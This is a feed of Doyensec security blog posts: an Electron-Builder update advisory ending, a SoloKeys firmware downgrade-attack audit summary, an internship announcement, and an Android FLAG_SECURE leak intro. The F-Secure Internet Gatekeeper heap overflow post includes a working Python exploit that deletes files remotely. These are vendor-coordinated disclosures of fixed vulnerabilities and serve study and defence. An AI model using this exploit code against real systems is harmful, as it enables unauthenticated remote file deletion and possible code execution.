<p>If migrating to a different software update mechanism is not feasible, make sure to <strong>upgrade Electron-Builder to the latest version available</strong>. At the time of writing, we believe that other attack payloads for the same vulnerable code path still exists in Electron-Builder.</p>
<p>Standard security hardening and monitoring on the update server is important, as full access on such system is required in order to exploit the vulnerability. Finally, enforcing TLS certificate validation and pinning for connections to the update server mitigates the MITM attack scenario.</p>
<h3 id="credits">Credits</h3>
<p>This issue was discovered and studied by <a href="https://github.com/ikkisoft">Luca Carettoni</a> and <a href="https://github.com/phosphore">Lorenzo Stella</a>. We would like to thank <em>Samuel Attard</em> of the ElectronJS Security WG for the review of this blog post.</p>
Security Analysis of the Solo Firmware2020-02-19T00:00:00+01:00https://blog.doyensec.com/2020/02/19/solokeys-audit<blockquote>
<p>This blogpost summarizes the result of a cooperation between <a href="https://solokeys.com/">SoloKeys</a> and Doyensec, and was originally <a href="https://solokeys.com/blogs/news/security-analysis-of-the-solo-firmware-by-doyensec">published on SoloKeys blog</a> by Emanuele Cesena.
You can download the full security auditing report <a href="https://doyensec.com/resources/Doyensec_SoloKeys_TestingReport_Q12020_v3.pdf">here</a>.</p>
</blockquote>
<div style="text-align: center;">
<img src="../../../public/images/solo_downgrade_attack_code.png" width="100%" title="SoloKeys firmware snippet" alt="SoloKeys firmware snippet" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<p>We engaged Doyensec to perform a security assessment of <a href="https://github.com/solokeys/solo/">our firmware</a>, v3.0.1 at the time of testing. During a 10 person/days project, Doyensec discovered and reported 3 vulnerabilities in our firmware. While two of the issues are considered informational, one issue has been rated as high severity and <a href="https://github.com/solokeys/solo/pull/368">fixed in v3.1.0</a>. The <a href="https://doyensec.com/resources/Doyensec_SoloKeys_TestingReport_Q12020_v3.pdf">full report</a> is available with all details, while in this post we’d like to give a high level summary of the engagement and findings.</p>
<h2 id="why-a-security-analysis-why-now">Why a Security Analysis, Why Now?</h2>
<p>One of the first requests we received after Solo’s Kickstarter was to run an <a href="https://github.com/solokeys/solo/issues/126">independent security audit</a>. At the time we didn’t have resources to run it and towards the end of 2019 I even closed the ticket as won’t fix, causing a series of complaints from the community.</p>
<p>Recently, we shared that <a href="https://solokeys.com/blogs/news/update-on-our-new-and-upcoming-security-keys">we’re building a new model of Solo</a> based on a new microcontroller, the NXP LPC55S69, and a new firmware rewritten in Rust (a blog post on the firmware is coming soon). As most of our energies will be spent on the new firmware, we didn’t want the current STM32-based firmware to be abandoned. We’ll keep supporting it, fixing bugs and vulnerabilities, but it’s likely it will receive less attention from the wider community.</p>
<p>Therefore we thought this was a good time for a security analysis.</p>
<p>We asked Doyensec to detail not just their findings but also their process, so that we can re-validate the new firmware in Rust when released. We expect to run another analysis on the new firmware, although there’s no concrete plan yet.</p>
<h2 id="the-major-finding-downgrade-attack">The Major Finding: Downgrade Attack</h2>
<p>The security review consisted of a manual source code review and fuzzing of the firmware. One researcher performed the review for 2 weeks from Jan 21 to Jan 31, 2020.</p>
<p>In short, he found a downgrade attack where he was able to “upgrade” a firmware to a previous version, exploiting the ability to upload the firmware in multiple, unordered chunks. Downgrade attacks are generally very sensitive because they allow an attacker to downgrade to a previous version of the firmware and then take advantage of older known vulnerabilities.</p>
<p>Practically speaking, however, running such an attack against a Solo key requires either physical access to the key or -if attempted on a malicious site- an explicit user acknowledgement on the WebAuthn window.</p>
<p><strong>This means that your key is almost certainly safe. In addition, we always recommend upgrading the firmware with our official tools.</strong></p>
<p>Also note that our firmware is digitally signed and this downgrade attack couldn’t bypass our signature verification. Therefore a possible attacker can only install one of our twenty-ish previous releases.</p>
<p>Needless to say, we took the vulnerability very seriously and fixed it immediately.</p>
<h2 id="anatomy-of-the-downgrade-attack">Anatomy of the Downgrade Attack</h2>
<p>This was the <a href="https://github.com/solokeys/solo/blob/3.0.1/targets/stm32l432/bootloader/bootloader.c#L201">incriminated code</a>. And this is <a href="https://github.com/solokeys/solo/pull/368/files#diff-f7cab51b94eff98a0aff021c872244b4R203">the patch</a>, that should help understand what happened.</p>
<p>Solo firmware updates are a binary blob where the last 4 bytes represent the version. When a new firmware is installed on the keys, these bytes are checked to ensure that its version is greater than the currently installed one. The firmware digital signature is also verified, but this is irrelevant as this attack only allows to install older signed releases.</p>
<p>The new firmware is written to the keys in chunks. At every write, a pointer to the last written address is updated, so that eventually it will point to the new version at the end of the firmware. You might see the issue: we were assuming that chunks are written only once and in order, but this was not enforced. The patch fixes the issue by requiring that the chunks are written strictly in ascending order.</p>
<p>As an example, think of running v3.0.1, and take an old firmware - say v3.0.0. Search four bytes in it which, when interpreted as a version number, appear to be greater than v3.0.1. First, send the whole 3.0.0 firmware to the key. The last_written_app_address pointer now correctly points to the end of the firmware, encoding version 3.0.0.</p>
<p><img src="/public/images/solo_firmware_downgrade_step1.png" alt="Firmware downgrade step 1" />
Then, write again the four chosen bytes at their original location. Now last_written_app_address points somewhere in the middle of the firmware, and those 4 bytes are interpreted as a “random” version. It turns out firmware v3.0.0 contains some bytes which can be interpreted as v3.0.37 – boom! <a href="https://github.com/doyensec/SoloKeys-2020Q1-fw-downgrade-PoC">Here is a fully working proof-of-concept</a>.</p>
<p><img src="/public/images/solo_firmware_downgrade_step2.png" alt="Firmware downgrade step 1" /></p>
<h2 id="fuzzing-tinycbor-with-afl">Fuzzing TinyCBOR with AFL</h2>
<p>The researcher also integrated AFL (American Fuzzy Lop) and started fuzzing our firmware. Our firmware depends on an external library, tinycbor, for parsing CBOR data. In about 24 hours of execution, the researcher exercised the code with over 100M inputs and found over 4k bogus inputs that are misinterpreted by tinycbor and cause a crash of our firmware. Interestingly, the initial inputs were generated by our FIDO2 testing framework.</p>
<p>The fuzzer will be integrated in our testing toolchain soon. If anyone in the community is interested in fuzzing and would like to contribute by fixing bugs in tinycbor we would be happy to share details and examples.</p>
<h2 id="summary">Summary</h2>
<p>In summary, we engaged a security engineering company (Doyensec) to perform a security review of our firmware. You can read the full report for details on the process and the downgrade attack they found. For any additional question or for helping with fuzzing of tinycbor feel free to reach out on Twitter <a href="https://twitter.com/SoloKeysSec">@SoloKeysSec</a> or at <a href="mailto:hello@solokeys.com">hello@solokeys.com</a>.</p>
<p>We would like to thank Doyensec for their help in securing the SoloKeys platform. Please make sure to <a href="https://doyensec.com">check their website</a>, and oh, they’re also launching a game soon. Yes, a <a href="https://www.h1jack.com">mobile game with a hacking theme</a>!</p>
Heap Overflow in F-Secure Internet Gatekeeper2020-02-03T00:00:00+01:00https://blog.doyensec.com/2020/02/03/heap exploit<h2 id="f-secure-internet-gatekeeper-heap-overflow-explained">F-Secure Internet Gatekeeper heap overflow explained</h2>
<p>This blog post illustrates a vulnerability we discovered in the <strong>F-Secure Internet Gatekeeper</strong> application. It shows how a simple mistake can lead to an exploitable unauthenticated remote code execution vulnerability.</p>
<h3 id="reproduction-environment-setup">Reproduction environment setup</h3>
<p>All testing should be reproducible in a <a href="http://isoredirect.centos.org/centos/7/isos/x86_64/CentOS-7-x86_64-DVD-1908.iso">CentOS</a> virtual machine, with at least 1 processor and 4GB of RAM.</p>
<p>An installation of <a href="https://help.f-secure.com/product.html?business/igk/5.40/en/concept_16E400B3FDE344EDB1F699EE9C4117DB-5.40-en">F-Secure Internet Gatekeeper</a> will be needed. It used to be possible to download it from <a href="https://www.f-secure.com/en/business/downloads/internet-gatekeeper">https://www.f-secure.com/en/business/downloads/internet-gatekeeper</a>. As far as we can tell, the vendor no longer provides the vulnerable version.</p>
<p>The original affected package has the following SHA256 hash:
<code class="language-plaintext highlighter-rouge">1582aa7782f78fcf01fccfe0b59f0a26b4a972020f9da860c19c1076a79c8e26</code>.</p>
<p>Proceed with the installation:</p>
<ol>
<li>(1) If you’re using an x64 version of CentOS, execute <code class="language-plaintext highlighter-rouge">yum install glibc.i686</code></li>
<li>(2) Install the Internet Gatekeeper binary using <code class="language-plaintext highlighter-rouge">rpm -I <fsigkbin>.rpm</code></li>
<li>(3) For a better debugging experience, install gdb 8+ and <a href="https://github.com/hugsy/gef">https://github.com/hugsy/gef</a></li>
</ol>
<p>Now you can use GHIDRA/IDA or your favorite dissassembler/decompiler to start reverse engineering Internet Gatekeeper!</p>
<h3 id="the-target">The target</h3>
<p>As described by F-Secure, Internet Gatekeeper is a “highly effective and easy to manage protection solution for corporate networks at the gateway level”.</p>
<p>F-Secure Internet Gatekeeper contains an admin panel that runs on port <em>9012/tcp</em>. This may be used to control all of the services and rules available in the product (HTTP proxy, IMAP proxy, etc.). This admin panel is served over HTTP by the <em>fsikgwebui</em> binary which is written in C. In fact, the whole web server is written in C/C++; there are some references to civetweb, which suggests that a customized version of <a href="https://github.com/civetweb/civetweb">CivetWeb</a> may be in use.</p>
<p>The fact that it was written in C/C++ lead us down the road of looking for memory corruption vulnerabilities which are usually common in this language.</p>
<p>It did not take long to find the issue described in this blog post by fuzzing the admin panel with <a href="https://github.com/denandz/fuzzotron">Fuzzotron</a> which uses <a href="https://gitlab.com/akihe/radamsa">Radamsa</a> as the underlying engine. <code class="language-plaintext highlighter-rouge">fuzzotron</code> has built-in TCP support for easily fuzzing network services. For a seed, we extracted a valid <code class="language-plaintext highlighter-rouge">POST</code> request that is used for changing the language on the admin panel. This request can be performed by unauthenticated users, which made it a good candidate as fuzzing seed.</p>
<p>When analyzing the input mutated by <code class="language-plaintext highlighter-rouge">radamsa</code> we could quickly see that the root cause of the vulnerability revolved around the <code class="language-plaintext highlighter-rouge">Content-length</code> header. The generated test that crashed the software had the following header value: <code class="language-plaintext highlighter-rouge">Content-Length: 21487483844</code>. This suggests an overflow due to incorrect Integer math.</p>
<p>After running the test through <code class="language-plaintext highlighter-rouge">gdb</code> we discovered that the code responsible for the crash lies in the <code class="language-plaintext highlighter-rouge">fs_httpd_civetweb_callback_begin_request</code> function. This method is responsible for handling incoming connections and dispatching them to the relevant functions depending on which HTTP verbs, paths or cookies are used.</p>
<p>To demonstrate the issue we’re going to send a <code class="language-plaintext highlighter-rouge">POST</code> request to port <code class="language-plaintext highlighter-rouge">9012</code> where the admin panel is running. We set a very big <code class="language-plaintext highlighter-rouge">Content-Length</code> header value.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /submit HTTP/1.1
Host: 192.168.0.24:9012
Content-Length: 21487483844
AAAAAAAAAAAAAAAAAAAAAAAAAAA
</code></pre></div></div>
<p>The application will parse the request and execute the <code class="language-plaintext highlighter-rouge">fs_httpd_get_header</code> function to retrieve the content length. Later, the content length is passed to the function <code class="language-plaintext highlighter-rouge">strtoul</code> (<em>String to Unsigned Long</em>)</p>
<p>The following pseudo code provides a summary of the control flow:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>content_len = fs_httpd_get_header(header_struct, "Content-Length");
if ( content_len ){
content_len_new = strtoul(content_len_old, 0, 10);
}
</code></pre></div></div>
<p>What exactly happens in the <code class="language-plaintext highlighter-rouge">strtoul</code> function can be understood by reading the corresponding <code class="language-plaintext highlighter-rouge">man</code> pages. The return value of <code class="language-plaintext highlighter-rouge">strtoul</code> is an unsigned long int, which can have a largest possible value of <code class="language-plaintext highlighter-rouge">2^32-1</code> (on 32 bit systems).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The strtoul() function returns either the result of the conversion or, if there was a leading minus sign, the negation of the result of the conversion represented as an unsigned value, unless the original (nonnegated) value would overflow; in the latter case, strtoul() returns ULONG_MAX and sets errno to ERANGE. Precisely the same holds for strtoull() (with ULLONG_MAX instead of ULONG_MAX).
</code></pre></div></div>
<p>As our provided <code class="language-plaintext highlighter-rouge">Content-Length</code> is too large for an unsigned long int, <code class="language-plaintext highlighter-rouge">strtoul</code> will return the ULONG_MAX value which corresponds to <code class="language-plaintext highlighter-rouge">0xFFFFFFFF</code> on 32 bit systems.</p>
<p>So far so good. Now comes the actual bug. When the <code class="language-plaintext highlighter-rouge">fs_httpd_civetweb_callback_begin_request</code> function tries to issue a malloc request to make room for our data, it first adds 1 to the <code class="language-plaintext highlighter-rouge">content_length</code> variable and then calls <code class="language-plaintext highlighter-rouge">malloc</code>.</p>
<p>This can be seen in the following pseudo code:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// fs_malloc == malloc</span>
<span class="n">data_by_post_on_heap</span> <span class="o">=</span> <span class="n">fs_malloc</span><span class="p">(</span><span class="n">content_len_new</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span>
</code></pre></div></div>
<p>This causes a problem as the value <code class="language-plaintext highlighter-rouge">0xFFFFFFFF + 1</code> will cause an integer overflow, which results in <code class="language-plaintext highlighter-rouge">0x00000000</code>. So the malloc call will allocate 0 bytes of memory.</p>
<p>Malloc does allow invocations with a 0 bytes argument. When <code class="language-plaintext highlighter-rouge">malloc(0)</code> is called a valid pointer to the heap will be returned, pointing to an allocation with the minimum possible chunk size of 0x10 bytes. The specifics can be also read in the man pages:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>The malloc() function allocates size bytes and returns a pointer to the allocated memory. The memory is not initialized. If size is 0, then malloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().
</code></pre></div></div>
<p>If we go a bit further down in the Internet Gatekeeper code, we can see a call to <code class="language-plaintext highlighter-rouge">mg_read</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// content_len_new is without the addition of 0x1.</span>
<span class="c1">// so content_len_new == 0xFFFFFFFF</span>
<span class="k">if</span><span class="p">(</span><span class="n">content_len_new</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">bytes_read</span> <span class="o">=</span> <span class="n">mg_read</span><span class="p">(</span><span class="n">header_struct</span><span class="p">,</span> <span class="n">data_by_post_on_heap</span><span class="p">,</span> <span class="n">content_len_new</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>
<p>During the overflow, this code will read an arbitrary amount of data onto the heap - without any restraints. For exploitation, this is a great primitive since we can stop writing bytes to the HTTP stream and the software will simply shut the connection and continue. Under these circumstances, we have complete control over how many bytes we want to write.</p>
<p>In summary, <strong>we can leverage Malloc’s chunks of size 0x10 with an overflow of arbitrary data to override existing memory structures</strong>. The following proof of concept demonstrates that. Despite being very raw, it exploits an existing struct on the heap by flipping a flag to <code class="language-plaintext highlighter-rouge">should_delete_file = true</code>, and then subsequently spraying the heap with the full path of the file we want to delete. Internet Gatekeeper internal handler has a <code class="language-plaintext highlighter-rouge">decontruct_http</code> method which looks for this flag and removes the file. By leveraging this exploit, an attacker gains arbitrary file removal which is sufficient to demonstrate the severity of the issue.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="k">def</span> <span class="nf">send_payload</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">content_len</span><span class="o">=</span><span class="mi">21487483844</span><span class="p">,</span> <span class="n">nofun</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mi">9012</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"POST / HTTP/1.1</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"Host: 192.168.0.122:9012</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"Content-Length: {}</span><span class="se">\n</span><span class="s">"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">content_len</span><span class="p">))</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">nofun</span><span class="p">:</span>
<span class="n">r</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">"</span><span class="p">)</span>
<span class="k">return</span> <span class="n">r</span>
<span class="k">def</span> <span class="nf">trigger_exploit</span><span class="p">():</span>
<span class="k">print</span> <span class="s">"Triggering exploit"</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"A"</span> <span class="o">*</span> <span class="mi">12</span> <span class="c1"># Padding
</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x1d</span><span class="p">)</span> <span class="c1"># Fast bin chunk overwrite
</span> <span class="n">payload</span> <span class="o">+=</span> <span class="s">"A"</span><span class="o">*</span> <span class="mi">488</span> <span class="c1"># Padding
</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xdda00771</span><span class="p">)</span> <span class="c1"># Address of payload
</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xdda00771</span><span class="o">+</span><span class="mi">4</span><span class="p">)</span> <span class="c1"># Junk
</span> <span class="n">r</span> <span class="o">=</span> <span class="n">send_payload</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">massage_heap</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"Trying to massage the heap....."</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">xrange</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># Needed to bypass checks
</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span> <span class="c1"># Needed to bypass checks
</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0xdda0077d</span><span class="p">)</span> <span class="c1"># Points to where the filename will be in memory
</span> <span class="n">payload</span> <span class="o">+=</span> <span class="n">filename</span> <span class="o">+</span> <span class="s">"</span><span class="se">\x00</span><span class="s">"</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="s">"C"</span><span class="o">*</span><span class="p">(</span><span class="mh">0x300</span><span class="o">-</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">))</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">send_payload</span><span class="p">(</span><span class="n">payload</span><span class="p">,</span> <span class="n">content_len</span><span class="o">=</span><span class="mh">0x80000</span><span class="p">,</span> <span class="n">nofun</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">cut_conn</span> <span class="o">=</span> <span class="bp">True</span>
<span class="k">print</span> <span class="s">"Heap massage done"</span>
<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
<span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">3</span><span class="p">:</span>
<span class="k">print</span> <span class="s">"Usage: ./{} <victim_ip> <file_to_remove>"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="k">print</span> <span class="s">"Run `export PWNLIB_SILENT=1` for disabling verbose connections"</span>
<span class="nb">exit</span><span class="p">()</span>
<span class="n">massage_heap</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">trigger_exploit</span><span class="p">()</span>
<span class="k">print</span> <span class="s">"Exploit finished. {} is now removed and remote process should be crashed"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
</code></pre></div></div>
<p>Current exploit reliability is around 60-70% of the total attempts, and our exploit PoC relies on the specific machine as listed in the prerequisites.</p>
<p>Gaining RCE should definitely be possible as we can control the exact chunk size and overwrite as much data as we’d like on small chunks. Furthermore, the application uses multiple threads which can be leveraged to get into clean heap arenas and attempt exploitation multiple times. If you’re interested in working with us, email your RCE PoC to <a href="info@doyensec.com">info@doyensec.com</a> ;)</p>
<p>This critical issue was tracked as <a href="https://www.f-secure.com/en/business/support-and-downloads/security-advisories/fsc-2019-3">FSC-2019-3</a> and fixed in F-Secure Internet Gatekeeper versions 5.40 – 5.50 hotfix 8 (2019-07-11). We would like to thank <a href="https://www.f-secure.com/">F-Secure</a> for their cooperation.</p>
<h2 id="resources-for-learning-about-heap-exploitation">Resources for learning about heap exploitation</h2>
<h4 id="exploit-walkthroughs">Exploit walkthroughs</h4>
<ul>
<li><a href="https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-1/">Linux Heap Exploitation Intro Series: Set you free() – part 1</a></li>
<li><a href="https://sensepost.com/blog/2018/linux-heap-exploitation-intro-series-set-you-free-part-2/">Linux Heap Exploitation Intro Series: Set you free() – part 2</a></li>
</ul>
<h4 id="glibc-walkthroughs">GLibC walkthroughs</h4>
<ul>
<li><a href="https://www.youtube.com/watch?v=z33CYcMf2ug">GLibC Malloc for Exploiters - YouTube</a></li>
<li><a href="https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/">Understanding the GLibC Implementation - Part 1</a></li>
<li><a href="https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/">Understanding the GLibC Implementation - Part 2</a></li>
</ul>
<h4 id="tools">Tools</h4>
<ul>
<li><a href="https://github.com/hugsy/gef">GEF</a> - Add-on for GDB to assist exploitation. Also, it has some useful commands for heap exploits debugging</li>
<li><a href="https://github.com/wapiflapi/villoc">Villoc</a> - Visual representation of the heap in HTML</li>
</ul>
Internship at Doyensec2019-11-05T00:00:00+01:00https://blog.doyensec.com/2019/11/05/internship-at-doyensec<blockquote>
<p><em>“Our moral responsibility is not to stop the future, but to shape it…”</em>
— Alvin Toffler</p>
</blockquote>
<p>At Doyensec, we feel responsible for what the future of information security will look like. We want a safe and open Internet and we believe that <em>hackers</em> play an important role. As a part of our give back strategy, we want to find ways of transferring our knowledge to new generations.</p>
<p>Doyensec interns work alongside experienced security researchers during live customer engagements. They receive full time support from senior staff members and are encouraged to explore individual research projects. Additionally, they are included in all team meetings so they can learn and share in the different experiences arising from our work. In short, we want to provide a comprehensive experience on what it means to be a first-class security consultant in the vulnerability research space.</p>
<p>The internship program @Doyensec represents an opportunity to learn new infosec skills. We also hope it becomes a memorable personal experience. It lasts 2-3 months and is a mix of remote and in-person interactions.</p>
<h3 id="we-offer-each-candidate-a-transparent-recruitment-process-in-3-simple-steps">We offer each candidate a transparent recruitment process in 3 simple steps:</h3>
<ul>
<li>1) Introductory call to understand one’s motivation for applying and their availability over the upcoming months</li>
<li>2) Online challenges to evaluate technical skillset (web security testing)</li>
<li>3) Final call to discuss details</li>
</ul>
<div style="text-align: center;">
<img src="../../../public/images/intern.jpeg" title="Doyensec internship process" alt="Doyensec internship process" align="center" style="display: block; margin-left: auto; margin-right: auto;" />
</div>
<h3 id="day-1">Day 1</h3>
<p>Day one is important. Interns will be responsible for setting up their Doyensec provided machine and will be introduced to the team. They will be assigned to a senior security researcher who will be at their disposal and act as mentor throughout the entire internship. They will learn how we schedule projects, communicate, and cooperate to ensure complete coverage during our testing activities. We will provide them with all necessary equipment to perform the work. Most importantly, they will learn about our values and things that we consider crucial for delivering high quality work.</p>
<h3 id="time-allocation">Time allocation</h3>
<p>While the internship is considered full time over the course of 2/3 months, we did have interns who were still studying and wanted to combine both work and school. We take pride in having a flexible company culture oriented around results and our approach to the internship is no different.</p>
<blockquote>
<p><em>“For knowledge work, time spent has little to do with value created and the forty hour workweek is anachronistic nonsense.”</em> — Naval Ravikant @naval</p>
</blockquote>
<p>Work days are generally grouped into two categories:</p>
<p>a) <strong>Customer projects</strong>. Interns work on real-life projects. Whenever possible, we will try to match personal interest and skillset with tasks when allocating projects.</p>
<p>b) <strong>Research time</strong>. We strongly <a href="https://doyensec.com/research.html">believe in research</a> and practice, therefore we allow interns to spend 50% of their time on <em>research</em> topics. We will define goals together and provide guidance and feedback on the progress.</p>
<h3 id="testimonial">Testimonial</h3>
<p>Mohamed Ouad is a student of computer science at the University of Milan. In the fall of 2018 he joined Doyensec as our second intern. We asked him a few questions to summarize his experience:</p>
<p>What did you learn during your internship?<br />
<em>“During this period I had the possibility to learn a lot of things, and not just technical stuff. For instance, I understood how to explain findings to non-technical audience and manage projects with strict deadlines.”</em></p>
<p>Have you improved your skillset?<br />
<em>“Definitely! I improved my knowledge of Android security and got interested in Google Chrome extensions security, static code review and Electron-based apps security.”</em></p>
<p>Will the internship have an impact on your career?<br />
<em>“This experience has given me a huge added value to my career path. I’ve not only learned a lot, but also created an important item in my curriculum that will be certainly useful for future opportunities. I suggest this “adventure” to everyone!”</em></p>
<h4 id="more-information-on-our-internship-program">More information on our internship program</h4>
<p>The Doyensec internship program is open to students returning to full-time education for at least one semester. We accept candidates with residency in either US or Europe.</p>
<p>What do we offer:</p>
<ul>
<li>Opportunity to perform professional security testing for both start ups and Fortune 500 companies</li>
<li>Ability to perform cutting-edge offensive research projects</li>
<li>Feedback and guidance</li>
<li>Attractive financial compensation</li>
</ul>
<h4 id="what-do-we-expect-from-candidates">What do we expect from candidates?</h4>
<p>Our perfect candidate:</p>
<ul>
<li>Has already some experience with manual source code review and Burp Suite / OWASP ZAP</li>
<li>Learns quickly</li>
<li>Should be able to prepare reports in English</li>
<li>Is self-organized</li>
<li>Is able to learn from his/her mistakes</li>
<li>Has motivation to work/study and show initiative</li>
<li>Must be communicative (without this it is difficult to teach effectively)</li>
<li>Brings something to the mix (e.g. creativity, academic knowledge, etc.)</li>
</ul>
<p>In contrast to full-time positions (<em>we are always hiring web and mobile pentesters!</em>), a good attitude is the most important factor we are looking for.</p>
<p><strong>Do you want to join Doyensec as an intern?</strong>
Apply via <a href="https://www.careers-page.com/doyensec-llc">our careers portal</a>!</p>
One Bug To Rule Them All: Modern Android Password Managers and FLAG_SECURE Misuse2019-08-22T00:00:00+02:00https://blog.doyensec.com/2019/08/22/modern-password-managers-flag-secure<p>A few months ago I stumbled upon a 2016 <a href="https://commonsware.com/blog/2016/06/06/psa-flag-secure-window-leaks.html">blog post</a> by Mark Murphy, warning about the state of <code class="language-plaintext highlighter-rouge">FLAG_SECURE</code> window leaks in Android. This class of vulnerabilities has been around for a while, hence I wasn’t confident that I could still leverage the same weakness in modern Android applications. As it often turns out, I was being too optimistic. After a brief survey, I discovered that the issue still persists today in many password manager applications (and others).</p>
<h2 id="the-problem">The problem</h2>
<p>The <a href="https://developer.android.com/reference/android/view/WindowManager.LayoutParams.html#FLAG_SECURE"><code class="language-plaintext highlighter-rouge">FLAG_SECURE</code></a> setting was initially introduced as an additional setting to <code class="language-plaintext highlighter-rouge">WindowManager.LayoutParams</code> to prevent DRM-protected content from appearing in screenshots, video screencaps or from being viewed on “<a href="https://developer.android.com/reference/android/view/Display.html#FLAG_SECURE">non-secure displays</a>”.</p>
<p>This last term was created to distinguish between <a href="https://developer.android.com/reference/android/media/projection/MediaProjection#createVirtualDisplay(java.lang.String,%2520int,%2520int,%2520int,%2520int,%2520android.view.Surface,%2520android.hardware.display.VirtualDisplay.Callback,%2520android.os.Handler)">virtual screens</a> created by the <a href="https://developer.android.com/reference/android/media/projection/MediaProjection">MediaProjection API</a> (a native API to capture screen contents) and physical display devices like TV screens (having a DRM-secure video output). In this way Google forestalled the piracy apps issue by preventing unsigned apps from creating virtual “secure” displays, only allowing casting to physical “secure” devices.<br />
While <code class="language-plaintext highlighter-rouge">FLAG_SECURE</code> nowadays serves its original purpose well <em>(to the delight of e.g. Netflix, Google Play Movies, Youtube Red)</em>, <strong>developers during the years mistook this “secure” flag as an easy catch-all security feature</strong> provided by Android to mark the entire app from being excepted from a screen capture or recording.</p>
<p>Unfortunately, <strong>this functionality is not global for the entire app</strong>, but can only be set on specific screens that contain sensitive data. To make matters worse, every Android fragment used in the application will not respect the <code class="language-plaintext highlighter-rouge">FLAG_SECURE</code> set for the activity and won’t pass down the flag to any other <code class="language-plaintext highlighter-rouge">Window</code> instances created on behalf of that activity. As a consequence of this, several native UI components like <code class="language-plaintext highlighter-rouge">Spinner</code>,<code class="language-plaintext highlighter-rouge">Toast</code>,<code class="language-plaintext highlighter-rouge">Dialog</code>,<code class="language-plaintext highlighter-rouge">PopupWindow</code> and many others will still leak their content to third party applications having the right permissions.</p>
<h2 id="the-approach">The approach</h2>
<p>After a short survey, I decided to investigate a category of apps in which a content leak would have had the biggest impact: mobile password managers. This would also be the category of applications a generic attacker would probably choose to target first, along with banking apps.<br />
With this in mind, I fired up a screen capture application (<a href="https://github.com/afollestad/mnml">mnml</a>) and started poking around.
After a few days of testing, <strong>every Android password manager examined (4) was found to be vulnerable to some extent</strong>.</p>
